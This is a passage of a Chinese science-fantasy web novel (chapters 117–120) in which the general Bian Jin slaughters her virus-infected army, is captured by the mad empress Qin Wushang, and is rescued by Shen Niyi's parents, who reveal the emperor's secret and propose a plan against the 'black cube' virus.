野兽总是对危机有预判,身为战斗天赋者边烬也有种预感,此行凶险万分。
但她不能不去。
她若不去,燕落必溃。
京师即倾,覆巢之下焉有完卵。
京师百姓怎么办?双极楼怎么办?
阿摇怎么办?
即便当时她身上还有一些没能好明白的旧伤,还在反复发作,骚扰她。
可她若不去,没人能胜任。
沈逆的人生才刚刚开始,边烬想让她无忧无虑地长大。
边烬选择抛下所有杂念,踏向荆棘之路。
当时北境燕落充斥着无数失控的异兽和趁机作乱的敌军。
与长安城相比,那就是地狱。
所以当她发现沈逆混在军队中,偷偷跟着她到燕落,甚至差点死在战场上时,边烬第一次真正对沈逆动了气。
那十鞭子挥得狠了。
沈逆若怪她,也是没办法的。
她知道沈逆脾气有多倔,光是用嘴说肯定无法说服她,只能一番伤筋动骨,至少让她躺在安全的双极楼里,直到战事结束。
燕落之战,打得十分艰难、惨烈。
第四年年初。
被黑魔方和弦昼等小国联合夹击,边烬一直维持着有序的调度和部署,控制着战事的发展。
就在她全面控制了局势时,让她始料未及的事从天而降。
一直壁垒森严的军营,被黑魔方入侵。
要不是边烬一直都没有熟睡的习惯,及时发现了异样,恐怕天还未亮北境就要全线失守。
在北境压制敌军,能和异兽拼杀的,全都是高强度义体改造士兵,和部分机械兵、无人机以及克隆军。
黑魔方就是以机械为食,一旦感染,顷刻间会全军覆没。
这么多年来军营戒律森严,严防死守,就是怕有这么一日。
没想到,最害怕的事情还是来了。
边烬知道,外人无法引黑魔方入军营。
数道防护滴水不漏,黑魔方想要渗透,还能一夜之间感染整个军营,除非有内应。
边烬了解自己的将士,在她森严的军纪下,不会有叛徒。
可是人心难测,而且事情也明明白白发生在眼前。
没时间震惊,不可犹豫。
黑魔方一旦失控,折进去的不只是百万将士,还有北境,整个帝国。
她当然知道这个抉择意味着什么。
从未怀疑过她,义无反顾听从她的号令,完完全全信任她,同生共死,将命交给她的下属们……他们也有牵挂,也想回家,家里也有人在望眼欲穿地等待他们。
遗憾。
边烬抽出骨鞭。
你们回不去了。
百万条命和十数亿条命,边烬选择了后者。
杀。
边烬行动得极快,她让自己变成杀人机器,不去思考不要回望。
杀,全数斩杀。
那时黑魔方还未经过迭代,处于最懵懂最原始的阶段,被感染的初期人还是有些意识的。
尚有意识的将士们明白发生了什么,眼中含泪,不做任何反抗,完成最后一个任务,任她屠戮。
也有不知前因,在睡梦中就被杀死的。
这样的死亡好些,边烬下手又快又狠,没什么痛苦。
任她屠戮的士兵死尽时,有一波已经不受控制地异兽化。
饶是战力非凡的边烬,战至最后也身负重伤。
要全部杀死。
但凡让黑魔方溜走,百万士兵就白死了。
不能放走,不能放走。
杀到最后,吸入身体里的气味都变成了血味。
边烬身体里最后一丝力气被榨干,最后一个感染者也永远闭上了眼睛。
而此时此刻,才是忙碌的开始。
那时还没有沈逆后来研究出的虚电容壳体来禁锢黑魔方,边烬用最原始的方法,将所有玉璧扯出来,摧毁,再浸入溶液中。
从日升到日落,再从日落到日升。
幸好那时黑魔方还未迭代,否则边烬一个人是不可能完成如此浩大的工程。
在不断的日出日落间,边烬生命的温度在慢慢流逝。
悲痛和愧疚沉甸甸地压在她生命的曲线上,凝结成了一道永远无法融化的寒冷。
喜怒哀乐被冰封在寒冷之下。
她甚至觉得自己已经行走到了世界的尽头。
极端的疲倦在持续压榨她,好几次她都想要放弃,想就这样撒手不管,直接死去都更好受一点。
每次,都被一只白净的手握住。
那只手,是十九年前在西极峰握住她的手。
那个小女孩紧紧握住了她,需要她。
阿摇需要她,在等着她。
沈逆刻下的温度,支撑着她熬过了生命的至暗时刻。
终于把所有的玉璧浸入溶液,边烬在风雪中成了一座冰雕。
全身上下只有大脑还能运作。
她想明白了一件事。
是军营里的细作偷偷放入了黑魔方,导致了这场恐怖的灾难。
但拥有至高权限的人少之又少。
会是谁?
身上的血就要流尽,寒风一阵阵吹散她的体温,恍惚间她问自己。
会是谁?
……
一只异兽逆着风雪来到边烬面前。
如山一般庞大,恐怖的应龙级异兽。
边烬听到异兽咆哮,艰难地抬起几乎被冰雪冻住的眼,在迷茫间看到了那只异兽琥珀色的瞳孔。
要是她被这只异兽吞噬,说不定会让它变成传说中太虚级的异兽,后果不堪设想。
边烬撑起身子,重新站了起来。
黑魔方的乱体已经在向她刺过来。
边烬满是血口的唇微微上扬,握紧骨鞭。
她已经沾满了同胞的血,不容许自己更污秽。
抽断自己脊柱,摧毁玉璧的这一鞭,她是想要自戕的。
下了死手。
或许是当时她实在太虚弱,竟没有死。
后来异兽是怎么离开的,边烬已经不记得了。
但能确定一件事。
她没死,但异兽也没有感染她。
这很奇怪。
直到遇到了那两个人,才算解开心中的疑惑。
异兽离去之后,边烬昏迷了很长一段时间。
那段时日,她记得自己的身体在某种载具上,颠簸着,不知被运往何处。
漫长的伤痛和无法集中意识的时间里,昏昏沉沉间她想起了李渃元。
想到李渃元那张阴晴不定的脸,和偶尔自相矛盾的抉择。
会是李渃元吗?
除了边烬这位北境总都督,只有帝国天子拥有进出军营的最高权限。
可此事没有道理。
李渃元为什么要害她?
她死了,谁来为李渃元守卫北境?
李渃元看上去像幼童,却不是个只会办糊涂事的昏君。
还有那只异兽,为什么她都已经快死了,异兽却没有将她吞噬?
边烬的思绪在昏沉中杂乱无章。
偶尔睁开眼,极窄的视野里看到的是万里坟茔。
她以为自己踏过了奈何桥。
当然,那不是奈何桥,只是弦昼国京师之外一望无际的坟地。
虚弱的她,被一直在暗中窥伺的秦无商魔种带回了弦昼国。
走过生死之界,边烬再次苏醒时发现,自己身处陌生的破败宫殿内,无数根极其强韧的铁链把她紧锁在一口巨大的炉子之内。
炉盖敞开着,炉边站着个浑身贴满符纸的怪女人,正唉声叹气。
这便是秦无商本人。
秦无商树枝般枯瘦的手夹着符纸和笔,烦躁又急速地画着符纸,画完一张往自己身上贴一张,然后再画一张往炉子里丢,嘴里念叨着:“来不及了,来不及了。”
见边烬睁开眼,秦无商倒吸一口气,双臂撑在炉子边,欢呼地探近。
“宝贝——我的宝贝你醒了!”
边烬此刻的状态很差,即便“宝贝”这个称呼让她倒胃口,她也保持着沉默。
锁链锁得太紧,脊柱和玉璧都受到致命害,力气难逮,无法挣脱。
在不利的情况下,她不习惯率先开口。
她在沉默中观察秦无商。
从符纸的缝隙里能看见发黑的肌肤,以及一条斜贯面部的巨大缝合口。这个女人状若疯子,穿着一身紫色的官服。
倒是和传闻中神秘的弦昼国女帝的特征相似。
原来是落到敌人手中。
锁链有八条,捆绑的手法非常老道。
锁链的作用不止是束缚,电流顺着锁链流荡着,刺入边烬的肌肤,有些针扎般微痛。
秦无商身后悬浮着三面电子屏,锁链连着电子屏之下的超级电脑。
这些装备边烬为沈逆采买过,所以能断定此人是机械师。
边烬看不懂屏幕上的数据代表着什么,但她知道,这个怪女人在从她身上采集走一些数据。
“你在研究我。”
这是边烬对秦无商说的第一句话。
清冷的嗓音有些干涸的沙哑,依旧很动听。
秦无商咯咯咯地笑着,开心得手舞足蹈。
“我终于见到你了,宝贝——我终于得到你了——宝贝!”
边烬:……
以弦昼国的体量,居然敢屡屡犯境,女帝肯定是个疯子。
没想到,还真是个疯子。
秦无商正开心,忽然从耳朵里喷出黑色的乱体。
边烬眼眸微动。
这个人感染了黑魔方。
感染黑魔方不奇怪,奇怪的是她居然能保持理智。
哪怕疯疯癫癫的,只保持了部分的理智,起码没有异兽化。
“抱歉抱歉,吓到你了。来不及了来不及了。”
秦无商继续忙碌地画符纸,一边画一边往乱体上贴。
贴上符纸的乱体居然慢慢萎缩,最后变成干瘪的黑枝,脱离她的身体。
这些符纸能压制黑魔方。
不过符纸能压制一时,但作用有限,只能消除部分增长,无法彻底清除。
秦无商接连画了十多张符纸,边画边继续絮絮叨叨。
可以想象,若此人真的在用符纸压制黑魔方,那她每日做的最多的事情恐怕就是画符纸了。在画符纸的过程中,养成了自言自语的毛病。
秦无商手中疾驰着,念叨着一些边烬听不懂的话。
边烬一边留意她所言,一边在观察炉子和锁链,评估自身状况,想着该如何挣脱。
秦无商画着画着,忽然垂下手,抬头,眼边的符纸被泪水浸湿了。
“师姐,我是个没用的废物。没有你的炼丹炉什么事也做不好。师姐……我好想你……”
边烬认出了那身官服。
“这身官服,是唐Pro国师的服制。”
秦无商呜呜哭了半天,一抹眼泪,没事人般笑着应道:
“对啊,这是我师姐的旧衣衫!”
想了想,又开始难过。
“这是师姐唯一的遗物了。其实还有一个炼丹炉,炼丹炉。但炼丹炉被藏起来了,李渃元到底把炼丹炉藏到哪里了?”
边烬:“你一直骚扰唐Pro,是为了找回你师姐的炼丹炉?那这个是什么?”
边烬指的是她此刻正坐着的炉子。
“是我仿造的,没用的炉子,效率低下的废物。”
秦无商时喜时怒,情绪极不稳定。
边烬套话驾轻就熟,但那是面对正常人,疯子得另当别论。
再问炼丹炉的事,秦无商就不肯说了,继续唤她“宝贝”,一副对她极其渴望的模样。
边烬:“那只异兽是你赶走的?”
秦无商:“我也希望我能做到,可惜,那可是应龙级异兽,我可没这能力。它是自己走的。”
这倒是出乎边烬意料。
“大概是它觊觎你强大的天赋,想将你占为己有,和我一样。”秦无商害羞地笑了一下,“不过也是蛮奇怪的,为什么你受重伤之后它就走了,没杀你也没有感染你?这可不像黑魔方的作风。”
的确,为什么。
边烬可从未见过黑魔方对任何人仁慈,吞噬机械,侵占玉璧,是它们的本能,就像所有生物进食的本能。
但那只异兽的确没杀她。
她能在重伤的情况下,从应龙级异兽手中死里逃生,这不合理。
秦无商双手撑在炉边。
“你居然舍得把自己伤成这样。暴殄天物啊宝贝,你的玉璧级别太高,我修复不了。这可怎么办呢?幸好!”她嘿嘿笑了一下,“我也没有修复你的打算,不然真不知从何下手才是。”
边烬:……
秦无商兴奋道:“只要你还有一口气就行,我就能炼出你的魔种!”
“魔种?”
“我要打造成千上万个你,我要让它们把师姐的炼丹炉抢回来。我要看李渃元哭!为师姐报仇!”
边烬垂眸看向铁链,隐约明白这疯子的意思了。
“你在采集我的信息,想要复制我?”
“不是克隆技术这么简单。”
秦无商张开双臂,自豪道:
“这可是魔种啊,凝聚了我师姐毕生心血!不仅能炼出一模一样的你,还可以加入别人的基因,二者合一。或者三者合一,四者合一……反正,以你的基因为底色,再加入优秀的基因的风格,可以炼出拥有不同能力的超强魔种。”
这种技术闻所未闻,但可以想象,若是此人真能炼出一个一模一样的自己,再加入别的超高天赋,那在这片大陆上恐怕没人能与弦昼为敌了。
秦无商话头一转,从符纸缝隙里透出一双贪婪的眼睛。
“听说你有个小师妹,已经觉醒了双S级机械天赋了。真好……两个双S级,不知道把你俩融在一起,是否能炼出传说中太虚级异兽?”
第118章
秦无商是个疯子。
对唐Pro抱有极端仇恨的疯子。
与此同时,又是一位掌握了未知技术的机械天才。
她对边烬非常感兴趣,不断采集基因信息之外,还特别喜欢找边烬闲聊。
问她喜欢什么讨厌什么,耶娘是谁,耶娘的天赋是什么。
又是如何觉醒了强大的双S级天赋。
边烬没有开口应她半个字。
这一切看似闲叙的背后,是另一种采集的过程。
既然要炼一个她的魔种,边烬猜测,秦无商需要更多关于她本人的细节和经历,填充魔种的底层逻辑的。
只采集基因信息,基因也是有可变性的,有可能发生谁都想不到的突变,对秦无商而言肯定是巨大的风险。
肉眼可见炼一个所谓的魔种需要耗费大量的银钱,看这大殿都破破烂烂,弦昼国可花在炼魔种上的银子能有多少?秦无商势必要做好完全的准备。
秦无商的确怕了。
她做过无数实验品,想要压低研发成本,包括精力和财力的成本。
结果全都失败了,丢到城外坟冢埋着,若有敌人入侵,还能抵挡一二,也不算完全白费。
就是只顾填充“骨骼”,没有好好去推敲底层逻辑这部分“血肉”。
边烬本人好不容易就在眼前,她得抓住千载难逢的良机。
秦无商当然可以窥探边烬的记忆模块,从记忆模块里调取她想要的所有记忆影像。
可那些影像对于陌生人而言,只是一场场乏味冗长的影像。
边烬的成长和天赋的觉醒最至关重要的影响事件是什么,只有她自己知晓。
况且,秦无商也不想激怒边烬。
这人倔得很,要是激怒她,只会玉石俱焚。
边烬不知道秦无商那时常挂在嘴边的师姐,炼魔种的时候是否也这么麻烦。这秦无商疯疯癫癫,还完全不理朝政,很难相信她是一国之君。
后来发现,秦无商有许多个自己的魔种,都是廉价的实验品,由这些魔种来代替她打理朝政,她还可以在幕后接管,方便得很。
边烬一边敷衍着秦无商,一直在想方设法离开此地。
她不能让秦无商真的炼出她的魔种。
与此同时,秦无商在不断的试探、琢磨之下,对边烬越来越沉迷。每日沉醉在炼出边烬魔种的种种幻想之中,本就疯癫的情绪随时都有可能彻底失控。
得尽快离开此地。
可是她伤得太重,无法自行站立,这是最为致命的困局。
在弦昼国的那段时日,日夜难辨满心焦灼。
边烬想过,若真的别无他法,唯有再次选择死亡。
但她又不甘心死在这污秽之地。
即便挫骨扬灰,她也想死于故土。
之后发生的事,完全在她意料之外。
戴着帷帽的一男一女乘着一辆黑色的载具,夜闯弦昼国皇宫,如入无人之境,硬生生将边烬带走了。
秦无商看到边烬要被带走,发疯一般地狂追。
边烬反手一鞭子抽在她身上,皮开肉绽。
要不是边烬重伤未愈气衰力弱,秦无商早就没命了。
无数皇城护卫都傻了眼。
那载具是个什么玩意,为什么能这般厉害。
只有身为机械师的秦无商知道那载具的含金量。
“是……双S级载具……”
护卫们都听傻了。
“陛下,双S级载具,不得是出自双S机械师之手吗?”
“难道是那个神童沈逆?”
“不可能,再厉害的机械师即便觉醒之后也需要漫长的成长和积累,不可能年纪轻轻就能打造出这等利器。”
他们说的都对。那这是谁?
秦无商也很疑惑。
当今这世上,还有双S级机械师吗?
秦无商百思不得其解,而那头的边烬很快知道了答案。
载具带着边烬飞出皇城,于城外的坟茔中短暂停留。
救她的一男一女都带着帷帽,女人走出载具,刨了一个坟茔,拖上来一具尸体。
尸体的面容看上去很年轻,面容如常,皮肤完好,甚至能感觉到气息。除了身上有些泥土之外,和寻常活人没有区别。
边烬忽然想到,莫非这是……
“没错,它是魔种。”
戴着帷帽的女人率先摘下帷帽,身旁的男人也摘下。
女人把帷帽放到一旁,“不过是个廉价的失败实验品,也能杀人,拆换些破旧的战斗型义体进去,埋在城外,若有敌人进犯,倒也能攻个出其不意。”
男人问:“要带回去?”
“带。上回那个被我弄报废了。”
她俩自顾自地聊着,边烬借此机会观察她们。
这二人交谈举止甚是熟稔,关系应该很密切。
女人面容清丽中染着憔悴,看上去年逾四十,只是刚刚步入中年双鬓已经有些花白。男人看上去更加温和,没什么杀伤力。
两人出现在同一个画面里,很容易看出女人是主导者。
这两人的长相很微妙,绝对是边烬没见过的人,但又有莫名的熟悉感。
很熟悉。
载具转眼飞出了弦昼国境。这辆航空飞行器形似草帽,她们所在的舱体是封闭的半圆形结构,待飞至安全地带,舱盖打开,只留下一层形状相同的透明琉璃罩。
黑魆魆的夜空尽头,染上了薄薄的黎明浅光。
女人开门见山问她:“秦无商炼出你的魔种了吗?”
边烬经过这番动荡,断裂的脊柱剧痛难忍。
咬牙靠在软榻边,缓了缓才道:
“还未……”
对面的两人同时松了口气。
女人姿态散漫地靠在一旁,道:“你该庆幸那个秦无商被黑魔方摧残得神志不清,不然以她的天赋,恐怕早就造出了和她师姐的炼丹炉旗鼓相当的替代品。你的魔种恐怕早在一个月前就炼成了。”
“她的师姐?”
“对,秦无商炼魔种的技术是从她师姐那学来的。她师姐,便是曾经的唐Pro帝国国师。魔种的事藏得很深,但我们怀疑,现在的唐Pro帝国的皇帝,那个你见过无数次的天子,也是魔种。”
对方说得太平铺直叙,没有任何情感和停顿,仿佛在说一件无关紧要的事,让边烬的反应慢了一息。
边烬:“李渃元?魔种?”
女人的双眸直视边烬。
“你没有怀疑过李渃元吗?没有怀疑过为什么百万大军会感染黑魔方,为什么这次她非要你来北境退敌?”
边烬的确怀疑过李渃元。
可是李渃元这么做,对她自己和整个帝国而言,没有任何益处。
男人在旁补充道:“李渃元怂恿你挥师北上,就是这场阴谋的开端。在京城人多眼杂,不好行事,但到北境就不一样了。北境到处都是黑魔方病毒,她要的,就是黑魔方能够感染你。她想要一个强大的身体实在太久太久,你这个双S级战斗天赋者,完完全全就是它梦寐以求的容器。”
男人顿了顿,“抱歉,用这种冰冷的词形容,但事实正是如此。”
边烬打断他:“等一下,你说,李渃元想要黑魔方感染我?为什么?若我变成了异兽,对她来说有何益处?”
说到了最核心的问题。
男人不太确定地看向身旁的女人。
女人没有任何犹豫,直言:“准确而言,不是李渃元想要黑魔方感染你,而是黑魔方本身想要你成为它新的宿主。那是黑魔方的本体,它已经和李渃元共生多年,影响着李渃元的心智和决策。外人根本无法分清到底哪个决定是李渃元下的,哪个又是来自黑魔方的考量。或许,李渃元就是整个帝国,不,是我们这个世界第一个黑魔方感染者,零号病人。”
这些事对于当时的边烬而言实在太震撼,甚至荒谬。
可是,许多她自己发现的端倪,在这一刻飞速往可怕的真相上靠拢,毫不违和。
刚想说,李渃元身上完全没有被黑魔方感染的痕迹,转念一想,若她真是魔种,也就能说得通了。
长不大的怪病,似乎也和这件事有着微妙的联系。
女人想拿瓶营养液喝,手伸向营养液却没有握住,而是一挥,营养液被她挥倒一整排。
“抱歉。”女人说,“我也是魔种。而且是顺手一炼的实验品。你知道,当一名机械师知晓了魔种技术后,不可能不动手一试。事实证明,很不容易。真正的我本人正在千里之外,通过连线的方式操控魔种,与你对话。”
边烬目光悄然落在她脸上。
这么说起来,这女人眉眼长得好归好,到底有种无法言说的僵硬感。
男人过来帮她把营养液的瓶盖拧开,喂她喝。
边烬双手紧扣,思绪在飞速回转。
“按照你们所说,那只应龙级异兽之所以没有杀我,甚至没感染我,是因为它想要一个健康无损的容器?”
女人道:“没错,那只异兽不是普通的黑魔方分支,它聚集了极强的能量,与长安城的本体勉强能做到意识交互。黑魔方本体是想要你天赋异禀的身体。脊柱损坏,战力大打折扣,更别说玉璧也坏了,对黑魔方而言恐怕是心心念念的宝物被毁,心灰意冷。那只异兽没杀你,甚至不舍得感染你,若给它选择的机会,恐怕它最希望的是想修好你。”
边烬安静地看着那女人,问她:“空口无凭,你们有何证据证明你们所说的一切?”
两人互视一眼,笑了。
男人说:“我们早就想到边女郎谨慎,而后续的计划需要边女郎协助,证据自然已经准备好了。”
男人把挑选好的记忆影像投到半空。
女人说:“那是十多年前的事了。”
她们俩竟是唐Pro的机械师。
这个女人就是传说中消失已久的传奇双S级机械师。
男人是她的丈夫,一名辅助型S级机械师。
她们是研究黑魔方的第一人。
当时她们并不知道黑魔方是什么,某日,李渃元拿来一枚在不断变化形态的玉璧,拨了巨款给她们,让她们尽快研究出压制的方式。
一开始只是采用普通的防护用具,当她们意识到这玩意是传染性极高的病毒时,一名助手已经被感染。
助手变成了恐怖的异兽,惊恐又无奈之下,只能将助手杀了。
从那一刻起,她们意识到这东西的凶险,前所未见。
李渃元所作所为,以及透露出的种种诡异,更让她们不安。
那时,女人正好怀有身孕,生怕孩子会收到牵连,假死逃离京师,远走北境。
夫妻二人偷偷把一枚感染了黑魔方的玉璧带到北境。
女儿在北境出生了,她们也在暗处获得了更多惊人的内情。
……
视频播放完毕。
边烬提问:“要是李渃元是零号病人,那黑魔方究竟是从何而来?”
“不知。”女人道,“恐怕这世间唯有李渃元自己知晓此事。”
短暂的沉默后,女人对边烬道:“没想到你有勇气自毁,说实话,当时我们看到那只异兽出现时,我们也提心吊胆,生怕它把你吞噬。要知道你的天赋和玉璧非常强悍,再与应龙级的异兽融合,后果不是这片大陆能承受的。
“边烬,你比我想象得更果断,更勇敢。当初巫咸算法算出我女儿的天定之人是你,孩子只有在你身边才能改写当代文明悲惨的结局。我还怀疑过,不舍得把孩子送到你身边。毕竟那时你不到八岁,我怕你照顾不了她。没想到……巫咸算法的精准度超出我的想象。”
经历过之前这一系列的谈话,边烬已经有些麻木。
本以为再多的震惊都无法再让她惊愕,谁知,这件事依旧超出她的认知。
边烬:“你们的女儿……”
女人:“我们的女儿,就是沈逆。”
第119章
边烬一直以为和沈逆的相遇是偶然。
没想到,居然是算法算出的答案。
巫咸算法诞生于三十年前,唐Pro最辉煌的黄金时代。
它是一台超级电脑,是沈扶苏的母亲,上一代最负盛名的双S级机械师最重要的杰作。
沈扶苏并不喜欢巫咸算法,即便它准确预测了阿母的死亡时间,已经证明过自身无比强大的计算能力,沈扶苏依旧将它尘封了很长一段时日。
连看剧目都不喜欢被剧透的她,自然更不喜欢计算命运的感觉。
仿佛被圈在一个框里,束手束脚。
她喜欢掌控机器,不喜被机器掌控。
而恐怖的黑魔方,不知从何而来的邪祟,让沈扶苏一眼看到了文明的尽头。
必须铲除它。
可沈扶苏毫无头绪。
她被迫启动了巫咸算法。
希望阿母在九泉之下能给她方向。
巫咸算法算出了上千种结局,几乎全是黑魔方迭代出高级智慧,最终彻底摧毁了人类文明。
就在沈扶苏和丈夫被绝望笼罩时,巫咸算法忽然给出了另一种结局。
人类文明能够延续的唯一解。
……
女儿是沈扶苏和丈夫魏旷一起送到西极峰的。
看见边烬在大雪中抱起女儿的时候,沈扶苏眼中滑落一行泪。
她不想和女儿分开,不想让刚刚出生的女儿背负这么沉重的使命。她的女儿凭什么为人类的文明赌上一生?
可是,女儿是天地间唯一的火种。
只能在别人手里才能点燃。
这唯一的险绝之路会让女儿吃许多苦,魏旷也舍不得。
丈夫开始不舍,倒是让沈扶苏横生了几分狠心。
“若是怕吃苦,她便不配当我沈扶苏的孩儿。”
沈扶苏一直在暗中陪伴着沈逆成长,一开始不放心,隔三差五便会来双极楼一趟。
后来发现边烬年纪不大,对沈逆却是无微不至,甚至到了宠溺的地步。
沈扶苏扪心自问,身为亲生阿母,恐怕也未必比得上边烬尽心。
最让沈扶苏满意的是边烬起的名字——沈逆。
“沈”这个姓,她绣在裹着沈逆的毯子上,边烬看到了。
“逆”这个字,是边烬起的。
逆,逆天而为,她的女儿就是要逆转乾坤,改写穷途末路的悲剧。
对女儿的处境放心后,沈扶苏来双极楼的次数变少了。
她还有很多重要的事需要沉下心去做。
边烬:“我从未察觉到你们的存在。”
沈扶苏笑了笑,“毕竟我是双S级机械师,想要隐藏踪迹,也不是件多难的事。”
顿了顿,沈扶苏又道:“谢谢你,这些年尽心尽力地照顾沈逆。”
特别是那颗水晶球。
每当沈逆望着水晶球里的一家三口发呆时,沈扶苏的心都会发痛。
明明就在触手可及的地方,却不能和女儿相认。
值得欣慰的是,幸好这些年有人倾尽所有来疼爱她。
边烬并不喜欢这样的感谢。
“我尽心照顾沈逆,是我和她之间的事,与别人无关。”
沈扶苏也没反驳,载具里陷入长时间的沉默。
半晌后,边烬问道:
“你们刚才说,后续的计划需要我协助。你们的计划是什么?”
沈扶苏:“回城再说。”
之后的两个月,边烬在一座不知名的城池中得到了初步的修复,起码能够自行行走。
修复她的是魏旷,以及两只无比能干的机械臂。
沈扶苏本人一直没露面。她的魔种连手都不知道怎么用,更不可能帮得上忙。
魏旷感叹边烬的玉璧实在精妙,以他S级的机械天赋恐怕无法彻底修复。
“不过,边女郎可以在听完计划的阐述之后再决定,是否需要进一步的修复。”
魏旷总是很温和,喜欢笑,一笑两只眼睛弯弯的,端方君子立刻变成一只算计人心的狐狸。
想起沈扶苏聪明冷静的模样,这二位倒真是沈逆耶娘无疑。
和魏旷一起来跟边烬阐述计划的,依旧是沈扶苏的魔种。
说完了计划,边烬一贯如水般沉静的面色也难免显得心事重重。
魏旷道:“这件事关乎你的生死,我们必须把真实情况告知你,再让你自行决定。不想对你有任何隐瞒。”
边烬“嗯”一声道:“理解。”
一刻钟后。
魏旷:“方才所说就是计划的全部。你有充分的时间来决定是否加入。无论你加入与否,都可以继续在这座城池生活。直到你想返回长安。”
边烬消化着她们的计划。
的确是个大胆,但看得到希望的计划。
边烬像在问自己,“我还能回长安吗?”
“李渃元可能不会想你回去,但黑魔方本体会的。”沈扶苏道,“它觉得京师是它的地盘,所有的捕食者都希望猎物进入自己的领地,那是它们最为熟悉的猎场。以为占据优势,最容易掉以轻心。更何况,沈逆肯定也是要回长安的。”
边烬:“回?”
沈扶苏:“沈逆已于半年前领兵北伐,我觉得她是来找你的。”
边烬神色有一瞬的局促和担忧。
沈扶苏没错过这个细节,“你心里也有她,对吗?”
边烬拒绝回答这个问题。
绕回了先前讨论的事儿。
“这事与沈逆回不回长安有何关系?”
“你离开长安的这几年,沈逆成长得极快,现在的她已经是位非常优秀的机械师。我在她这个年纪的时候没有这样耀眼。除了沈逆,恐怕没人能修复你的玉璧。黑魔方本体自然希望有人能把你修好,等你康复再来吞噬你。所以,只要你能回到长安城,我们之前跟你说的计划就有实施的余地。”
沈扶苏顿了顿,轻叹了一声:“但,现在有一个难以解决的基础问题。咱们的计划完全依托于你玉璧的驱动,如今你的玉璧损坏太严重了。而且……恕我直言,即便玉璧是完好的,也无法驱动那个东西。当今这世上,还没有能驱动得了它的玉璧。”
边烬:“你造不出这种玉璧?你是双S机械师。”
沈扶苏笑着说:“是的,我也不行。和你们战斗天赋,以及精神天赋不同,我们机械师擅长的领域分类更细一些。相同天赋的机械师在基础作业上相差无几,但越往上走,就越需要专精的能力和天赋。我并不擅长玉璧的制作。而且我……”
沈扶苏在这儿停住,没有继续说。
边烬对别人的私事也没什么兴趣,只讨论该讨论之事。
“如果没有可能你们不会来找我,更不会说这么许多。不必拐弯抹角,还有没说完的话一并说完吧。”
沈扶苏看向魏旷。
魏旷:……
让人生气的话总是让他来说啊。
魏旷没辙,只能顺着妻子的意。
魏旷道:“你应该也知道,沈逆在很小的时候就开始规划一种全新的玉璧。我悄悄看过她的思路,也一直留意她在暗网上的动向,她的思路非常新颖,也是完全可以执行的,只是还差一些积累的时间和原材料的指引。”
边烬立刻就明白她的意思。
“所以,沈逆可以做到。你们想让沈逆为我打造全新的玉璧?”
沈扶苏道:“是的。她可以。巫咸算法算出了她是这场浩劫的唯一解,而只有和你相伴,她才能成为那唯一解。我相信,这是通往正解的路。你是公式,而她是解题者。”
边烬:“难怪让我想想是否需要现在修复身体。只要我回到长安城,沈逆肯定会为我修复,你们是这样想的吧?待我修复完成,装上足以驱动那个东西的新玉璧,你们的计划就能顺利实施了。”
沈扶苏道:“边女郎如果心里不痛快,我们可以让你肆意嘲讽,这没关系。我只希望你能认真考虑这项计划。这二十年来,我们俩只为一件事活着,就是彻底消灭黑魔方。”
沈扶苏也看出了她的担忧。
“边女郎也怕她不愿意吧。这孩子对你感情很深,若知道你要以身困魔,甚至会因此而死,她不会答应打造玉璧的。我有个建议。”
边烬抬眸,“你想瞒着她。”
沈扶苏并不否认,“既然有解法,为什么要拘泥于解题过程?我们要的只是正确答案。”
边烬:“该夸你一如既往的理智吗?”
沈扶苏察觉到边烬情绪的波动。
能亲手屠了百万下属,这么冷静甚至冷酷的人,竟也有这一面。
沈扶苏笑了笑,道:“看来你对那孩子也不是完全无意。我能理解你的心情,毕竟这么多年来养育她,呵护她的人是你。没关系,还是那句话,你有充分的时间来决定是否加入。无论你加入与否,是去是留,我们都会给予充分尊重和关照。对我们全家而言,你都是极为特殊的恩人。”
离开时,沈扶苏在门口回眸。
“边女郎,希望你可以好好考虑。一个善意谎言和无数的生命比起来不算什么。更何况,沈逆的生命也在其中,不是吗?”.
之后的一个月,边烬就像消失了一般。
沈扶苏也完全没有要催她的意思,让人按时给她提供三餐。
下属回报,她几乎不怎么吃。
某日,一则匪夷所思的战报传到了沈扶苏手中。
弦昼大军偷袭白、掸二州,二州门户大开,完全没有抵抗,任敌军入城。
城门开启的权限,正是边烬所有。
边烬俨然变成了卖国贼。
应该是秦无商在测试手中边烬魔种的性能。虽然那只魔种没能彻底完成,可被她采走了那么多信息,她又投了那么多心思和银子,肯定不能白费。捏个四不像出来,或许也会有指纹或者基因信息。这便给她捞着了便宜。
不仅有这荒唐的战报,还有一则风流韵事也跟着飘到了沈扶苏的耳朵里。
说边烬和弦昼女帝秦无商两情相悦,还曾夜夜荒唐,这二州就是边烬送给秦无商的礼物,只为讨她欢心。
沈扶苏忍不住笑出声。
这秦无商打击报复起来,和她性格一样疯。
只怕这下边烬要沉不住气了。
当日午后,边烬便来找沈扶苏。
边烬看上去没怎么睡好,神色疲倦。
“事先声明,不是因为那则战报,更不是无聊的传闻,恰好想与你确认一些细节。”
沈扶苏点点头,边烬说什么就是什么了。
“你们制定的计划非常理想化,万一计划失败,黑魔方去而复返怎么办?或者其他的分支入侵京师又如何是好?到那时,我不在,没人能守卫京师,谁来保护她?”
沈扶苏道:“你应该知道的,李渃元已经在为长安修建城防。要是将黑魔方彻底清扫出京师的同时,开启城防,把它彻底隔绝在外,无论城外如何,长安城将会是一个没有病毒,完全安全的地带。”
边烬眉心微拧,“城防工程我知道。可惜工部难堪大任,无法落地。”
沈扶苏微笑着垂下眼眸。
边烬思绪一转,明白她的意思。
“你还想让沈逆来修城防?”
大家都明白,如果是沈逆,她完全可以做到。
沈扶苏眉间有些愁绪。
“她是我的孩子,我也不希望她辛苦。可是生在这个艰难的时代,只能能者多劳。边女郎,黑魔方会迭代出智慧。一只拥有智慧,甚至会伪装、藏于人群之中的异兽,你敢想象吗?”
边烬沉默着。
沈扶苏看着窗外混沌的天色,这里仿佛永远阴云密布,永远不会放晴。
生活在这个时代的人,已经要忘记湛蓝的天际有多美了。
沈扶苏看着自己的双手,沉吟着:“长安会是一颗种子,孕育未来的种子。而沈逆,也会在这桃花源中活下去。”
边烬无法否认。
她真的被说动了。
千千万万的诱惑,都抵不过“沈逆此刻平安幸福着”让她心动。
“当然。”沈扶苏目光转向边烬,“如果她能不再喜欢你,当你死了之后她会很快忘了你,展开新的生活,这会是我最希望看到的。”
这么冒犯的话,没让边烬的情绪有任何变化。
已经死过一次,任何事对她而言都该不值一提。
可是,也不知为何,只是想到沈逆不再喜欢自己,光是将这行字在心上念一遍,每个字都让她发痛。
第120章
“最后,你答应了。”
边烬盘腿坐在记忆之门内,看着天幕上为她回放的过往,自言自语。
